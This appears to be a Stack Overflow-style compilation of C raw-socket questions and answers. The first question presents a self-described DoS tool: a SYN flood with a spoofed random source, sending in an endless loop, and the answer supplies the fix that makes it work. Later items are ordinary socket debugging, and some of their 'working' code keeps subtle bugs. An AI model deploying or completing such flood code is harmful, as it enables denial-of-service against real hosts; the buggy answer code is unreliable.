I'm a new starter of Linux C and try to make a program about make a IP packet, it's like a simple DoS tool. When I finish the code, I captured the packet and analysed the packet with Wireshark, the IP version is 0 and the header length is 0, too. why it happened.
I haven't add the checksum part.
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
int main(int argc, char **argv[])
{
char buffer[100];
struct sockaddr_in addr;
struct ip *ip;
struct tcphdr *tcp;
int head_len,sockfd, on = 1;
head_len = sizeof (struct ip) + sizeof (struct tcphdr);
bzero(buffer,100);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = inet_addr("10.3.1.25");
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
setsockopt(sockfd,IPPROTO_IP, IP_HDRINCL, &on,sizeof(on));
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(head_len);
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_p = IPPROTO_TCP;
ip->ip_src.s_addr = random();
ip->ip_dst = addr.sin_addr;
tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
tcp->source = htons(8888);
tcp->dest = addr.sin_port;
tcp->seq = random();
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
setuid(getpid());
sizeof(struct tcphdr());
printf("phase 3 ok\n");
while (1)
{
if(sendto (sockfd, buffer, head_len, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 1)
printf("error");
}
}
You forgot to initialise ip; I'm assuming you are missing
ip = (struct ip*)buffer;
Related
I am trying to create a test program in C on Linux (Ubuntu 18.04) that sends an empty UDP packet via an AF_PACKET/PF_PACKET socket using SOCK_RAW. In this program, I know the source and destination MAC addresses and IPs. However, it is not working and I'm not sure what I'm doing wrong. I wasn't able to find much resources online regarding this issue sadly since most of the threads I've found are more so for receiving packets on AF_PACKET sockets. The program also states it sends the correct amount of bytes to the destination. Though, I don't see the packets when using tcpdump both on the source and destination VMs.
Here is the program's code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <net/ethernet.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <inttypes.h>
#define REDIRECT_HEADER
#include "csum.h"
#define MAX_PCKT_LENGTH 65535
int main()
{
int sockfd;
struct sockaddr_ll dst;
char pckt[MAX_PCKT_LENGTH];
sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd <= 0)
{
perror("socket");
exit(1);
}
dst.sll_family = AF_PACKET;
dst.sll_protocol = ETH_P_IP;
if ((dst.sll_ifindex = if_nametoindex("ens18")) == 0)
{
fprintf(stdout, "Interface 'ens18' not found.\n");
exit(1);
}
// Do destination ethernet MAC (ae:21:14:4b:3a:6d).
dst.sll_addr[0] = 0xAE;
dst.sll_addr[1] = 0x21;
dst.sll_addr[2] = 0x14;
dst.sll_addr[3] = 0x4B;
dst.sll_addr[4] = 0x3A;
dst.sll_addr[5] = 0x6D;
dst.sll_halen = 6;
// I tried doing this with and without bind. Still not working.
if (bind(sockfd, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
perror("bind");
exit(1);
}
struct ethhdr *ethhdr = (struct ethhdr *) (pckt);
struct iphdr *iphdr = (struct iphdr *) (pckt + sizeof(struct ethhdr));
struct udphdr *udphdr = (struct udphdr *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr));
unsigned char *data = (unsigned char *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr));
// Do source ethernet MAC (1a:c4:df:70:d8:a6).
ethhdr->h_source[0] = 0x1A;
ethhdr->h_source[1] = 0xC4;
ethhdr->h_source[2] = 0xDF;
ethhdr->h_source[3] = 0x70;
ethhdr->h_source[4] = 0xD8;
ethhdr->h_source[5] = 0xA6;
// Copy destination MAC to sockaddr_ll.
memcpy(ethhdr->h_dest, dst.sll_addr, 6);
// Protocol.
ethhdr->h_proto = ETH_P_IP;
// Fill out ip header.
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->frag_off = 0;
iphdr->id = rand();
iphdr->protocol = IPPROTO_UDP;
iphdr->tos = 0x0;
iphdr->ttl = 64;
iphdr->saddr = inet_addr("10.50.0.3");
iphdr->daddr = inet_addr("10.50.0.4");
iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
iphdr->check = 0;
iphdr->check = ip_fast_csum(iphdr, iphdr->ihl);
// Fill out UDP header.
udphdr->source = htons(27000);
udphdr->dest = htons(27015);
udphdr->len = htons(sizeof(struct udphdr));
udphdr->check = 0;
udphdr->check = csum_tcpudp_magic(iphdr->saddr, iphdr->daddr, sizeof(struct udphdr), IPPROTO_UDP, csum_partial(udphdr, sizeof(struct udphdr), 0));
// Send packet
uint16_t sent;
if ((sent = sendto(sockfd, pckt, iphdr->tot_len + sizeof(struct ethhdr), 0, (struct sockaddr *)&dst, sizeof(dst))) < 0)
{
perror("sendto");
}
fprintf(stdout, "Sent %d of data.\n", sent);
close(sockfd);
exit(0);
}
Both the source and destination servers are VMs on my home server (both running Ubuntu 18.04).
Here is the main interface of my source VM:
ens18: flags=323<UP,BROADCAST,RUNNING,PROMISC> mtu 1500
inet 10.50.0.3 netmask 255.255.255.0 broadcast 10.50.0.255
inet6 fe80::18c4:dfff:fe70:d8a6 prefixlen 64 scopeid 0x20<link>
ether 1a:c4:df:70:d8:a6 txqueuelen 1000 (Ethernet)
RX packets 1959766813 bytes 1896024793559 (1.8 TB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1936101432 bytes 1333123918522 (1.3 TB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Here is the main interface of my destination VM:
ens18: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.50.0.4 netmask 255.255.255.0 broadcast 10.50.0.255
inet6 fe80::ac21:14ff:fe4b:3a6d prefixlen 64 scopeid 0x20<link>
ether ae:21:14:4b:3a:6d txqueuelen 1000 (Ethernet)
RX packets 1032069029 bytes 1251754298166 (1.2 TB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 74446483 bytes 9498785163 (9.4 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
I tried setting the source VM's 'ens18' interface to promiscuous mode, but that didn't make any difference. I don't think that would matter in this case, though. I also want to use SOCK_RAW in this case because I want to gain more experience and I don't want the kernel to do anything to the packets (I read that using AF_PACKET + SOCK_RAW will result in the kernel not messing with the packets).
With that said, I have an additional question. How would I go about getting the MAC address of an IP that isn't on the network/bound to an interface (e.g. a destination IP going to a server outside of my network)? I would assume I'd have to send an ARP request. If so, do I just send an ARP request to the destination server and get the MAC address before submitting each packet via AF_PACKET + SOCK_RAW?
Any help is highly appreciated and thank you for your time!
I was able to figure out the issue. I wasn't converting the Ethernet protocol (ETH_P_IP) to network byte order via htons() since it's a big endian. With that said, I had to convert iphdr->total_len to network byte order as well. Otherwise, the IP header's total length would be incorrect according to tcpdump. I didn't do this in other programs I made and it worked okay. Therefore, I'd assume the kernel converted the IP header's total length to network byte order automatically.
Since I'm using an AF_PACKET socket to send, I have to do things the kernel would normally do.
Here's the program's final code for anyone wondering:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <net/ethernet.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <inttypes.h>
#define REDIRECT_HEADER
#include "csum.h"
#define MAX_PCKT_LENGTH 65535
int main()
{
int sockfd;
struct sockaddr_ll dst;
char pckt[MAX_PCKT_LENGTH];
sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd <= 0)
{
perror("socket");
exit(1);
}
dst.sll_family = PF_PACKET;
dst.sll_protocol = htons(ETH_P_IP);
if ((dst.sll_ifindex = if_nametoindex("ens18")) == 0)
{
fprintf(stdout, "Interface 'ens18' not found.\n");
exit(1);
}
// Do destination ethernet MAC (ae:21:14:4b:3a:6d).
dst.sll_addr[0] = 0xAE;
dst.sll_addr[1] = 0x21;
dst.sll_addr[2] = 0x14;
dst.sll_addr[3] = 0x4B;
dst.sll_addr[4] = 0x3A;
dst.sll_addr[5] = 0x6D;
dst.sll_halen = ETH_ALEN;
// I tried doing this with and without bind. Still not working.
if (bind(sockfd, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
perror("bind");
exit(1);
}
struct ethhdr *ethhdr = (struct ethhdr *) (pckt);
struct iphdr *iphdr = (struct iphdr *) (pckt + sizeof(struct ethhdr));
struct udphdr *udphdr = (struct udphdr *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr));
unsigned char *data = (unsigned char *) (pckt + sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct udphdr));
// Do source ethernet MAC (1a:c4:df:70:d8:a6).
ethhdr->h_source[0] = 0x1A;
ethhdr->h_source[1] = 0xC4;
ethhdr->h_source[2] = 0xDF;
ethhdr->h_source[3] = 0x70;
ethhdr->h_source[4] = 0xD8;
ethhdr->h_source[5] = 0xA6;
for (int i = 0; i < 30; i++)
{
memcpy(data + i, "b", 1);
}
// Copy destination MAC to sockaddr_ll.
memcpy(ethhdr->h_dest, dst.sll_addr, ETH_ALEN);
// Protocol.
ethhdr->h_proto = htons(ETH_P_IP);
// Fill out ip header.
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->frag_off = 0;
iphdr->id = htons(0);
iphdr->protocol = IPPROTO_UDP;
iphdr->tos = 0x0;
iphdr->ttl = 64;
iphdr->saddr = inet_addr("10.50.0.3");
iphdr->daddr = inet_addr("10.50.0.4");
iphdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 30);
iphdr->check = 0;
iphdr->check = ip_fast_csum(iphdr, iphdr->ihl);
// Fill out UDP header.
udphdr->source = htons(27000);
udphdr->dest = htons(27015);
udphdr->len = htons(sizeof(struct udphdr) + 30);
udphdr->check = 0;
udphdr->check = csum_tcpudp_magic(iphdr->saddr, iphdr->daddr, sizeof(struct udphdr) + 30, IPPROTO_UDP, csum_partial(udphdr, sizeof(struct udphdr) + 30, 0));
// Send packet
uint16_t sent;
int len = ntohs(iphdr->tot_len) + sizeof(struct ethhdr) + 30;
if ((sent = sendto(sockfd, pckt, len, 0, (struct sockaddr *)&dst, sizeof(dst))) < 0)
//if ((sent = write(sockfd, pckt, len)) < 0)
{
perror("sendto");
}
fprintf(stdout, "Sent %d of data. %d is IPHdr len. %d is len.\n", sent, iphdr->tot_len, len);
close(sockfd);
exit(0);
}
I have a very simple client and server code:
Server:
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main()
{
int server_sockfd, client_sockfd;
int server_len, client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(9734);
server_len = sizeof(server_address);
bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
listen(server_sockfd, 5);
while ( 1 )
{
char ch;
printf("server waiting\n");
client_len = sizeof(client_address);
client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_address, &client_len);
read(client_sockfd, &ch, 1);
ch += 4;
write(client_sockfd, &ch, 1);
close(client_sockfd);
}
}
Client:
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int sockfd;
int len;
struct sockaddr_in address;
int result;
char ch = 'P';
sockfd = socket(AF_INET, SOCK_STREAM, 0);
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(argv[1]);
address.sin_port = htons(9734);
len = sizeof(address);
result = connect(sockfd, (struct sockaddr *)&address, len);
if(result == −1)
{
perror("oops: client1");
return 1;
}
write(sockfd, &ch, 1);
read(sockfd, &ch, 1);
printf("char from server = %c\n", ch);
close(sockfd);
return 0;
}
Consider I have executed the server code in machine A(10.18.17.26), and when I'm trying to execute the client in machine X I'm getting this error:
$ ./client 10.18.17.26
oops: client1: Connection refused
But I'm able to ping machine A from machine X and vice versa. Machine A and X were connected in a intranet network.
But if I run the client code on peer servers of machine A it is working fine and generating this output:
$ ./client 10.18.17.26
char from server = T
Hope I can get a solution here to overcome this. Thanks in advance!
Why does recvfrom create additional IP header?
I am sending:
-------------
- IP header -
-------------
- Data -
-------------
But when I try to receive data, it looks like there is
-------------
- IP header -
-------------
- IP header -
-------------
- Data -
-------------
Client code:
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <netinet/ip.h>
#define DEBUG 1
int main(void) {
// Create File descrptor for socket
int socket_fd;
if ((socket_fd = socket(AF_INET, SOCK_RAW, IPPROTO_IPV6)) < 0) {
perror("ERROR Socket");
exit(2);
}
char *srcIP = "127.0.0.1";
char *dstIP = "127.0.0.1";
// Create address structure
struct sockaddr_in daddr;
daddr.sin_family = AF_INET;
daddr.sin_port = 0; // Raw sockets can't use ports
inet_pton(AF_INET, "127.0.0.1", &daddr.sin_addr);
memset(daddr.sin_zero, 0, sizeof(daddr.sin_zero));
// Create a Packet
char packet[50];
memset(packet, 0, sizeof(packet));
// Structure packet
struct iphdr *ip_header = (struct iphdr *) packet;
// Data to be appended at the end of the ip header
char *data = (char *) (packet + (sizeof(struct iphdr)));
ip_header->version = 4; // IPv4
ip_header->tos = 0; // Type of service
ip_header->ihl = 5; // 5 x 32-bit words
// ip_header->tot_len = htons(sizeof(struct iphdr) + strlen(data)); // Total IP packet length
ip_header->tot_len = sizeof(packet); // Total IP packet length
ip_header->protocol = IPPROTO_IPV6; // 6in4 protocol
ip_header->frag_off = 0x00; //16 bit field = [0:2] flags + [3:15] offset = 0x0
ip_header->ttl = 0xFF; // Max number of hops 16bit
// ip_header->id = htons(54321); // 0x00; //16 bit id
ip_header->check = 0; //16 bit checksum of IP header. Can't calculate at this point
ip_header->saddr = inet_addr(srcIP);
ip_header->daddr = inet_addr(dstIP);
data[0] = 'T';
data[1] = 'E';
data[2] = 'S';
data[3] = 'T';
data[4] = '7';
data[5] = '\0';
// ip_header->check = csum((unsigned short *) packet, ip_header->tot_len);
#if DEBUG
printf("\nIP header checksum: %d\n", ip_header->check);
#endif
while (1) {
sleep(1);
if (sendto(socket_fd, (char *) packet, sizeof(packet), 0,
(struct sockaddr *) &daddr, (socklen_t) sizeof(daddr)) < 0)
perror("Packet send error");
}
return 0;
}
Server code:
/*** IPPROTO_RAW receiver ***/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int socket_fd;
struct sockaddr_in saddr;
char packet[50];
if ((socket_fd = socket(AF_INET, SOCK_RAW, IPPROTO_IPV6)) < 0) {
perror("socket_fd");
exit(EXIT_FAILURE);
}
memset(packet, 0, sizeof(packet));
socklen_t len = (socklen_t) sizeof(saddr);
while(1) {
if (recvfrom(socket_fd, packet, sizeof(packet), 0,
(struct sockaddr *)&saddr, &len) < 0)
perror("recvfrom");
int i = sizeof(struct iphdr); ////// WHY IS DATA PAYLOAD ON packet[sizeof(struct iphdr) * 2]
while (i < sizeof(packet)) {
fprintf(stderr, "%c", packet[i]);
i++;
}
printf("\n");
}
exit(EXIT_SUCCESS);
}
In your sender, you need to set the IP_HDRINCL socket option. That tells the API that you're manually supplying the IP header. Because you're not setting this option, you're effectively putting your own copy of the IP header after the one the system adds.
IP_HDRINCL socket option is normally implicitly set only in the case of usage of IPPROTO_RAW. If you are not using IPPROTO_RAW, then the header will be generated as IP_HDRINCL will not be set implicitly.
Refer to man7.org/linux/man-pages/man7/raw.7.html.
I have been trying to create a tcp packet sender in c with the following code
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
int main(void){
char buffer[1024];
int packetsize[100];
char* source_ip = "192.168.2.1";
struct sockaddr_in serv;
struct iphdr *iph;
struct tcphdr *tcph;
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
serv.sin_family = AF_INET;
serv.sin_port = htons(80);
serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
struct tcp_pseudo
{
uint32_t src_addr;
uint32_t dst_addr;
uint8_t zero;
uint8_t proto;
uint16_t length;
} pseudohead;
struct help_checksum
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
// Create Packet Header
iph.ihl = 5;
iph.version = 4;
iph.tos = 0;
iph.tot_len = sizeof(struct iphdr) + packetsize;
iph.id = rand_cmwc();
iph.frag_off = 0;
iph.ttl = MAXTTL;
iph.protocol = IPPROTO_TCP;
iph.check = 0;
iph.saddr = source_ip;
iph.daddr = serv.sin_addr.s_addr;
// Create TCP Header
tcph.source = htons (1234);
tcph.dest = htons (80);
tcph.seq = 0;
tcph.ack_seq = 0;
tcph.doff = 5;
tcph.fin=0;
tcph.syn=1;
tcph.rst=0;
tcph.psh=0;
tcph.ack=0;
tcph.urg=0;
tcph.window = htons (5840);
tcph.check = 0;
tcph.urg_ptr = 0;
pseudohead.src_addr = iph->saddr;
pseudohead.dst_addr = iph->daddr;
pseudohead.dummy = 0;
pseudohead.proto = iph->protocol;
pseudohead.length = htons(sizeof(struct tcphdr) + packetsize);
tcp_chk_construct.pshd = pseudohead;
tcp_chk_construct.tcphd = tcph;
memcpy(tcp_chk_construct.tcpdata, buffer, packetsize);
tcph->check = in_cksum((unsigned short *) &tcp_chk_construct,
sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + packetsize);
memcpy(packetsize, (char *) &iph
, sizeof(iphdr));
memcpy(packetsize + sizeof(iphdr), (char *) &tcph
, sizeof(tcphdr));
memcpy(packetsize + sizeof(iphdr) + sizeof(tcphdr, buffer, packetsize);
if (sendto (sockfd, /* our socket */
buffer, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &serv, /* socket addr, just like in */
sizeof (serv)) < 0) /* a normal send() */
{
printf ("error\n");
}
else
{
printf ("Packet Send \n");
}
}
I use the netinet/ip.h and netinet/tcp.h to make the actual tcp packet but I get the following errors when compiling my code:
error: variable has incomplete type 'struct iphdr'
struct iphdr iph;
forward declaration of 'struct iphdr'
struct iphdr iph;
error: invalid application of 'sizeof' to an incomplete type 'struct iphdr'
iph.tot_len = sizeof(struct iphdr) + packetsize;
error: no member named 'source' in 'struct tcphdr'
tcph.source = htons (1234);
error: no member named 'dest' in 'struct tcphdr'
tcph.dest = htons (80);
and so on for the tcp header.
One at a time.
warning: incompatible pointer to integer conversion initializing 'char' with an expression of type 'char [12]' [-Wint-conversion] char source_ip = "192.168.2.1";
This is due to the fact that you are trying to save a string literal in a char variable. Change the line to
char* source_ip = "192.168.2.1";
warning: implicit declaration of function 'inet_addr' is invalid in C99 [-Wimplicit-function-declaration] serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
For this, include the header #include <arpa/inet.h>
Only compilation error resolved version of your original code. Not guaranteed to run.
[Compiler used - gcc 4.9.2 on Ubuntu 15.04]
Some code is commented since I could not understand its usage or found it ambiguous (e.g. use of 'packetsize' array variable - it is 'int' array but used in expression to calculate length using base address of array).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
int main(void)
{
char buffer[1024];
int packetsize[100];
char *source_ip = "192.168.2.1";
struct sockaddr_in serv;
struct iphdr iph;
struct tcphdr tcph;
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
serv.sin_family = AF_INET;
serv.sin_port = htons(80);
serv.sin_addr.s_addr = inet_addr ("8.8.8.8");
struct tcp_pseudo
{
uint32_t src_addr;
uint32_t dst_addr;
uint8_t zero;
uint8_t proto;
uint16_t length;
} pseudohead;
struct help_checksum
{
struct tcp_pseudo pshd;
struct tcphdr tcphd;
char tcpdata[1024];
} tcp_chk_construct;
// Create Packet Header
iph.ihl = 5;
iph.version = 4;
iph.tos = 0;
//iph.tot_len = sizeof(struct iphdr) + packetsize;
iph.tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph.id = rand_cmwc();
iph.frag_off = 0;
iph.ttl = MAXTTL;
iph.protocol = IPPROTO_TCP;
iph.check = 0;
iph.saddr = inet_addr(source_ip);
iph.daddr = serv.sin_addr.s_addr;
// Create TCP Header
tcph.source = htons (1234);
tcph.dest = htons (80);
tcph.seq = 0;
tcph.ack_seq = 0;
tcph.doff = 5;
tcph.fin=0;
tcph.syn=1;
tcph.rst=0;
tcph.psh=0;
tcph.ack=0;
tcph.urg=0;
tcph.window = htons (5840);
tcph.check = 0;
tcph.urg_ptr = 0;
//pseudohead.src_addr = iph.saddr;
//pseudohead.dst_addr = iph.daddr;
//pseudohead.dummy = 0;
//pseudohead.proto = iph.protocol;
//pseudohead.length = htons(sizeof(struct tcphdr) + packetsize);
//tcp_chk_construct.pshd = pseudohead;
//tcp_chk_construct.tcphd = tcph;
//memcpy(tcp_chk_construct.tcpdata, buffer, packetsize);
//tcph.check = in_cksum((unsigned short *) &tcp_chk_construct, sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + packetsize);
memcpy((void *)buffer, (void *) &iph , sizeof(struct iphdr));
memcpy((void *)buffer + sizeof(struct iphdr), (void *) &tcph , sizeof(struct tcphdr));
//memcpy(packetsize + sizeof(struct iphdr) + sizeof(struct tcphdr), buffer, packetsize);
if (sendto (sockfd, buffer, iph.tot_len, 0, (struct sockaddr *) &serv, sizeof (serv)) < 0)
{
printf ("error\n");
}
else
{
printf ("Packet Send \n");
}
return 0;
}
Please help! This is due in a few hours and I've had no luck w/ online searches
CODE:
/*
Description:
The client should first send a datagram to the LocationServer.
The LocationServer will be listening on port number 23510 of the host c-lnx001.engr.uiowa.edu.
The message contained in this datagram should be the specified UserID (no null characters, blanks, line-feeds, or other extraneous characters).
The LocationServer will respond with a datagram containing the following information:
[WeatherServer hostname] [WeatherServer port #]
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h> /* for fprintf */
#include <string.h> /* for memcpy */
#include <strings.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#define SIZE 2048
int main(){
struct hostent *hp; /* host information */
struct sockaddr_in servaddr; /* server address */
char *my_message = "laura\0";/*USERID as message to server*/
char *buf_addr;
char *host = "c-lnx001.engr.uiowa.edu\0";
int port = 23510;
int fd;
/* fill in the server's address and data */
//memset((char*)&servaddr, 0, sizeof(servaddr)); ?
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(23510);
/* look up the address of the server given its name */
hp = gethostbyname("c-lnx001.engr.uiowa.edu");
if (!hp) {
fprintf(stderr, "could not obtain address of %s\n", host);
return 0;
}
/* put the host's address into the server address structure */
// DOESN't WORK: memcpy((void *)&servaddr.sin_addr, hp->h_addr_list[0], hp->h_length);
bcopy(hp->h_addr,(char*)&servaddr.sin_addr,hp->h_length);
if((fd = socket(AF_INET,SOCK_DGRAM, 0))<0)
{
exit(2);
}
/* send a message to the server */
if (sendto(fd, my_message, strlen(my_message), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0)
{
perror("sendto failed");
return 0;
}
int addrlen = sizeof(servaddr);
recvfrom(fd,buf_addr,SIZE,0,(struct sockaddr*)&servaddr,&addrlen);
printf("%s\n", buf_addr);
}
I think your problem is that you're not resetting the serveraddr
Here's a working copy
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define IP_ADDRESS "127.0.0.1"
#define SERVER_PORT 5060
int main (int argc, char *argv[])
{
int recBytes, clientSocket=socket(AF_INET, SOCK_DGRAM, 0);
char buf[80], msg[]="greeting to server";
const int msgLen = sizeof(msg);
struct sockaddr_in serverAddr;
socklen_t reSize;
memset(&serverAddr, sizeof(struct sockaddr_in), 0);
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(SERVER_PORT);
inet_aton(IP_ADDRESS, &serverAddr.sin_addr);
if(sendto(clientSocket, msg, sizeof(msg), 0, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) != (sizeof(msg)))
{
perror("sendto");
return -1;
}
reSize = sizeof(struct sockaddr);
if((recBytes = recvfrom(clientSocket, buf, sizeof(buf)-1, 0, (struct sockaddr*)&serverAddr, &reSize)) == -1)
{
perror("recvfrom");
return -1;
}
buf[recBytes]='\0';
printf("%s\n", buf);
return 0;
}